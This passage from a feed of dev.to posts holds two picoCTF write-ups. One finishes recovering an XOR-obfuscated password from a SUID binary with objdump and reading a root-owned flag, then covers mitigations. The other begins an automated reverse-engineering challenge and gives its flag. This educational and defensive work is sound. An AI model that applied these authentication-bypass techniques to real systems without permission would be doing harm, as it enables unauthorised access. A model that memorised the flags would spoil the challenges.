&lt;pre class="highlight cpp"&gt;&lt;code&gt;&lt;span class="n"&gt;_Z15decode_passwordPc&lt;/span&gt;  &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;decode_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This immediately tells us: &lt;strong&gt;the password is not stored in plaintext&lt;/strong&gt;. It is &lt;em&gt;decoded at runtime&lt;/em&gt; by a function. This is our primary target.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;External library calls that matter:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;U strcmp@@GLIBC_2.2.5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;U&lt;/code&gt; means "undefined" — it's imported from an external library. The presence of &lt;code&gt;strcmp&lt;/code&gt; tells us the decoded password is compared to user input using a standard string comparison. This is our &lt;strong&gt;breakpoint target&lt;/strong&gt; in a dynamic analysis scenario.&lt;/p&gt;




&lt;h3&gt;
  
  
  3.2 Disassembling &lt;code&gt;decode_password&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;objdump &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--no-show-raw-insn&lt;/span&gt; bypassme.bin | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; 40 &lt;span class="s1"&gt;'&amp;lt;_Z15decode_passwordPc&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Breaking Down the Command
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;objdump&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Disassembler for binary files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-d&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Disassemble executable sections&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;--no-show-raw-insn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hides raw hex bytes — cleaner output for reading&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;grep -A 40&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Show 40 lines &lt;strong&gt;after&lt;/strong&gt; the matching line&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;'&amp;lt;_Z15decode_passwordPc&amp;gt;'&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Match the specific function label&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;objdump&lt;/code&gt; and not &lt;code&gt;ghidra&lt;/code&gt; or &lt;code&gt;IDA Pro&lt;/code&gt;?&lt;/strong&gt; Those tools are excellent but require a GUI or installation. &lt;code&gt;objdump&lt;/code&gt; is available on virtually every Linux system by default, making it the universal first choice for quick static analysis in a remote shell environment.&lt;/p&gt;




&lt;h3&gt;
  
  
  3.3 Decoding the Password — The Core Vulnerability
&lt;/h3&gt;

&lt;p&gt;From the disassembly of &lt;code&gt;decode_password&lt;/code&gt;, we extracted this critical logic:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;movabs $0xc9cff9d8cfdadff9,%rax    ; Load 8 encoded bytes into rax
mov    %rax,-0x13(%rbp)             ; Store on stack
movw   $0xd8df,-0xb(%rbp)          ; Load 2 more encoded bytes
movb   $0xcf,-0x9(%rbp)            ; Load 1 more encoded byte
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This gives us &lt;strong&gt;11 encoded bytes&lt;/strong&gt; stored on the stack:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;f9 df da cf d8 f9 cf c9 df d8 cf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Important — Endianness:&lt;/strong&gt; The value &lt;code&gt;0xc9cff9d8cfdadff9&lt;/code&gt; is stored in &lt;strong&gt;little-endian&lt;/strong&gt; format. This means the bytes are stored in &lt;strong&gt;reverse order&lt;/strong&gt; in memory. So in memory, the sequence starts with &lt;code&gt;f9&lt;/code&gt;, then &lt;code&gt;df&lt;/code&gt;, then &lt;code&gt;da&lt;/code&gt;, etc.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Then the decoding loop:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;movzbl -0x13(%rbp,%rax,1),%eax   ; Load encoded byte[i]
xor    $0xffffffaa,%eax            ; XOR with 0xAA
mov    %dl,(%rax)                  ; Store decoded byte to output buffer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The algorithm in plain English:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;For each byte in the encoded array, XOR it with &lt;code&gt;0xAA&lt;/code&gt;. The result is the decoded password character.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Performing the XOR manually:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Index&lt;/th&gt;
&lt;th&gt;Encoded (hex)&lt;/th&gt;
&lt;th&gt;XOR 0xAA&lt;/th&gt;
&lt;th&gt;Decoded (ASCII)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xF9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xF9 ^ 0xAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x53&lt;/code&gt; = &lt;strong&gt;S&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xDF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xDF ^ 0xAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x75&lt;/code&gt; = &lt;strong&gt;u&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xDA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xDA ^ 0xAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x70&lt;/code&gt; = &lt;strong&gt;p&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xCF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xCF ^ 0xAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x65&lt;/code&gt; = &lt;strong&gt;e&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xD8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xD8 ^ 0xAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x72&lt;/code&gt; = &lt;strong&gt;r&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xF9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xF9 ^ 0xAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x53&lt;/code&gt; = &lt;strong&gt;S&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xCF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xCF ^ 0xAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x65&lt;/code&gt; = &lt;strong&gt;e&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xC9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xC9 ^ 0xAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x63&lt;/code&gt; = &lt;strong&gt;c&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xDF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xDF ^ 0xAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x75&lt;/code&gt; = &lt;strong&gt;u&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xD8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xD8 ^ 0xAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x72&lt;/code&gt; = &lt;strong&gt;r&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xCF&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0xCF ^ 0xAA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;0x65&lt;/code&gt; = &lt;strong&gt;e&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Decoded password: &lt;code&gt;SuperSecure&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Why XOR?&lt;/strong&gt; XOR is the most common obfuscation technique in malware and CTF challenges because it is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Reversible&lt;/strong&gt;: XOR is its own inverse. &lt;code&gt;A XOR key = B&lt;/code&gt; and &lt;code&gt;B XOR key = A&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Simple to implement&lt;/strong&gt;: One assembly instruction&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Easily broken&lt;/strong&gt;: If you know the key (or can find it in the binary), it provides &lt;strong&gt;zero&lt;/strong&gt; cryptographic security&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  3.4 Confirming the Authentication Flow in &lt;code&gt;main&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;objdump &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--no-show-raw-insn&lt;/span&gt; bypassme.bin | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; 120 &lt;span class="s1"&gt;'&amp;lt;main&amp;gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirmed the exact execution path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;main:
  1. decode_password() → decoded password stored at rbp-0x110
  2. intro_sequence()  → shows the banner/animation
  3. fgets()           → reads user input into rbp-0x210
  4. sanitize()        → cleans user input
  5. strcmp(user_input, decoded_password) at 0x1759
  6. If equal → auth_sequence() → fopen("flag") → print flag
  7. If not equal → "Wrong password" → loop back (max 3 tries)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The road not taken — Dynamic Debugging with LLDB:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The challenge hint specifically mentioned LLDB (a debugger). Here's how we &lt;em&gt;would&lt;/em&gt; have used it if static analysis had failed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# We would have set a breakpoint at the strcmp call address&lt;/span&gt;
lldb bypassme.bin
&lt;span class="o"&gt;(&lt;/span&gt;lldb&lt;span class="o"&gt;)&lt;/span&gt; b &lt;span class="k"&gt;*&lt;/span&gt;0x1759          &lt;span class="c"&gt;# Break at strcmp&lt;/span&gt;
&lt;span class="o"&gt;(&lt;/span&gt;lldb&lt;span class="o"&gt;)&lt;/span&gt; run
&lt;span class="o"&gt;(&lt;/span&gt;lldb&lt;span class="o"&gt;)&lt;/span&gt; x/s &lt;span class="nv"&gt;$rsi&lt;/span&gt;           &lt;span class="c"&gt;# Read the decoded password from the rsi register&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In x86-64 Linux calling convention:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;rdi&lt;/code&gt; = first argument to &lt;code&gt;strcmp&lt;/code&gt; (user input)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;rsi&lt;/code&gt; = second argument to &lt;code&gt;strcmp&lt;/code&gt; (decoded password)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We &lt;strong&gt;chose not to use LLDB&lt;/strong&gt; because static analysis gave us a complete answer with less complexity. Dynamic debugging introduces additional challenges (ASLR, needing to interact with the program, etc.). &lt;strong&gt;Always exhaust static analysis before resorting to dynamic analysis.&lt;/strong&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  3.5 Obtaining the Flag
&lt;/h3&gt;

&lt;p&gt;With the password &lt;code&gt;SuperSecure&lt;/code&gt; recovered, we ran the binary and entered it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./bypassme.bin
&lt;span class="c"&gt;# At the prompt: SuperSecure&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The binary authenticated successfully, opened the flag file via &lt;code&gt;fopen&lt;/code&gt;, and printed the flag.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. "Privilege Escalation" — The SUID Mechanism
&lt;/h2&gt;

&lt;p&gt;In this challenge, there was no traditional privilege escalation step because the SUID binary &lt;strong&gt;is&lt;/strong&gt; the privilege escalation mechanism. Here's how it works:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────────────────────┐
│  ctf-player (low privilege user)                    │
│  → runs bypassme.bin                               │
│  → OS sees SUID bit + owner = root                 │
│  → process runs as root                            │
│  → fopen("/path/to/flag") succeeds                 │
│  → flag contents printed to our terminal           │
└─────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The flag file is readable only by root. Without the SUID binary, we could never access it. The binary acts as a &lt;strong&gt;controlled gateway&lt;/strong&gt; — but since we bypassed the authentication check, we walked right through it.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Lessons Learned &amp;amp; Mitigation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Key Takeaways for Attackers (CTF Players)
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Lesson&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Read symbols first&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;nm&lt;/code&gt; and &lt;code&gt;objdump&lt;/code&gt; reveal the entire structure of a binary in seconds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Not stripped = gift&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Debug symbols make reverse engineering dramatically faster&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;XOR is not encryption&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Single-byte XOR obfuscation is defeated trivially once the key is in the binary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Static before dynamic&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Exhaust static analysis before firing up a debugger&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SUID = read the flag&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SUID root binaries are the key that unlocks root-owned files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Follow the strcmp&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;In authentication binaries, find the comparison function and read its arguments&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  5.2 Mitigation Strategies for Defenders (Blue Team)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability 1: Trivial XOR Obfuscation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;❌ &lt;strong&gt;What the developer did:&lt;/strong&gt; Stored a password encoded with a single-byte XOR key (&lt;code&gt;0xAA&lt;/code&gt;) — both the encoded bytes and the key are in the binary.&lt;/p&gt;

&lt;p&gt;✅ &lt;strong&gt;What should be done instead:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never store passwords in a binary at all, even obfuscated&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;challenge-response authentication&lt;/strong&gt; where the password never leaves the server&lt;/li&gt;
&lt;li&gt;If a local comparison is unavoidable, use a proper &lt;strong&gt;cryptographic hash&lt;/strong&gt; (bcrypt, Argon2) — an attacker who recovers a hash cannot reverse it&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;remote authentication&lt;/strong&gt; — have the binary send the input to a server for verification; the "correct answer" never exists locally&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Vulnerability 2: Binary Not Stripped / Debug Info Present&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;❌ &lt;strong&gt;What the developer did:&lt;/strong&gt; Compiled and deployed the binary with full debug symbols and without stripping.&lt;/p&gt;

&lt;p&gt;✅ &lt;strong&gt;What should be done instead:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Always strip production binaries: &lt;code&gt;strip --strip-all bypassme.bin&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Remove debug info at compile time (avoid &lt;code&gt;-g&lt;/code&gt; flag in gcc/g++)&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;obfuscation tools&lt;/strong&gt; like LLVM-Obfuscator for additional protection (note: this raises the bar, it doesn't solve the fundamental problem)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Detection (Blue Team Monitoring):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Alert: Process bypassme.bin executed by user ctf-player
  → Running with effective UID 0 (root)
  → Opened file: /root/flag.txt
  → This access pattern is anomalous for this user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A proper SIEM or EDR (like Wazuh, Falco, or CrowdStrike) would flag a low-privilege user triggering a SUID binary that subsequently reads sensitive root-owned files.&lt;/p&gt;




&lt;h2&gt;
  
  
  Appendix: Full Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. SSH into target
        ↓
2. ls -la → Discover SUID binary bypassme.bin
        ↓
3. file bypassme.bin → 64-bit ELF, not stripped, debug_info present
        ↓
4. nm bypassme.bin → Discover decode_password(), strcmp usage
        ↓
5. objdump disassembly of decode_password()
        ↓
6. Extract encoded bytes: f9 df da cf d8 f9 cf c9 df d8 cf
        ↓
7. XOR each byte with 0xAA → "SuperSecure"
        ↓
8. Run binary → Enter "SuperSecure" → FLAG OBTAINED
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Total tools used:&lt;/strong&gt; &lt;code&gt;ssh&lt;/code&gt;, &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;nm&lt;/code&gt;, &lt;code&gt;objdump&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;No exploits. No brute force. No debugger needed.&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;Pure static analysis.&lt;/strong&gt;&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;🎓 &lt;strong&gt;Final Thought for Beginners:&lt;/strong&gt; This challenge perfectly illustrates why security-through-obscurity fails. The developer &lt;em&gt;thought&lt;/em&gt; they were hiding the password by encoding it. But encoding is not encrypting. The moment we could read the binary's assembly, the "hidden" password was completely visible. Real security means an attacker can have full access to your code and &lt;em&gt;still&lt;/em&gt; cannot compromise your system. That's the standard to aim for.&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>beginners</category>
      <category>reverseengineering</category>
      <category>ctf</category>
      <category>security</category>
    </item>
    <item>
      <title>CTF Writeup: Autorev 1 — picoCTF</title>
      <dc:creator>Vedant Kulkarni</dc:creator>
      <pubDate>Sat, 30 May 2026 08:24:23 +0000</pubDate>
      <link>https://dev.to/vedant_kulkarni_e1a6cdf3c/ctf-writeup-autorev-1-picoctf-345i</link>
      <guid>https://dev.to/vedant_kulkarni_e1a6cdf3c/ctf-writeup-autorev-1-picoctf-345i</guid>
      <description>&lt;h2&gt;
  
  
  1. Executive Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Challenge Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Autorev 1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Platform&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;picoCTF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Category&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reverse Engineering&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Difficulty&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Beginner-Intermediate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Key Technique&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Automated Binary Analysis via Opcode Pattern Matching&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Flag&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;picoCTF{4u7o_r3v_g0_brrr_78c345aa}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Overview:&lt;/strong&gt; This challenge tests a fundamental reverse engineering skill — the ability to &lt;strong&gt;automate analysis at scale&lt;/strong&gt;. The remote service sends 20 unique ELF binaries, one at a time, as raw hex-encoded byte streams. For each binary, you have exactly &lt;strong&gt;1 second&lt;/strong&gt; to extract a hardcoded "secret" integer and send it back. The challenge is impossible to solve manually and teaches the critical lesson that a good reverse engineer isn't just someone who &lt;em&gt;can&lt;/em&gt; read assembly — it's someone who can &lt;strong&gt;script their way through it&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Reconnaissance &amp;amp; Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 — Initial Connection: Understanding the Protocol
&lt;/h3&gt;

&lt;p&gt;Before writing any exploit, the very first step is always to &lt;strong&gt;understand what you're interacting with&lt;/strong&gt;. The challenge description gives us a simple &lt;code&gt;netcat&lt;/code&gt; command to connect to the service.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc mysterious-sea.picoctf.net 57369
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;netcat&lt;/code&gt;?&lt;/strong&gt; &lt;code&gt;nc&lt;/code&gt; (netcat) is the most basic tool for raw TCP communication. It's the right first choice here because the challenge description explicitly tells us to use it, and we have no reason to believe any higher-level protocol (like HTTP) is involved. We just need to see the raw data the server sends.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  2.2 — Analyzing the Server's Handshake
&lt;/h3&gt;

&lt;p&gt;Upon connecting, the server reveals its rules:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Welcome! I think I'm pretty good at reverse enginnering.
There's NO WAY anyone's better than me.
Wanna try? I have 20 binaries I'm going to send you and you
have 1 second EACH to get the secret in each one. Good luck &amp;gt;:)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This immediately tells us three critical things:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Observation&lt;/th&gt;
&lt;th&gt;Implication&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;20 binaries&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;We need a loop, not a one-shot script.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;1 second EACH&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Manual analysis (e.g., opening in Ghidra) is impossible. We must automate.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;"get the secret"&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Each binary has a single hardcoded value we need to find.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Following the banner, the server dumps a massive hex string — this is the raw bytes of an &lt;strong&gt;ELF (Executable and Linkable Format)&lt;/strong&gt; binary, the standard executable format for Linux. It then prompts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;What's the secret?:
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 — Static Analysis: Finding the Secret in the Hex
&lt;/h3&gt;

&lt;p&gt;This is the most critical analytical step. Instead of trying to &lt;em&gt;run&lt;/em&gt; the binary (which would be slow and complex to automate), we need to find the secret directly in the raw bytes. To do this, we need to understand the binary's logic.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Concept: What Does the Binary Do?
&lt;/h4&gt;

&lt;p&gt;Every one of these binaries is compiled from a simple C template that looks conceptually like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
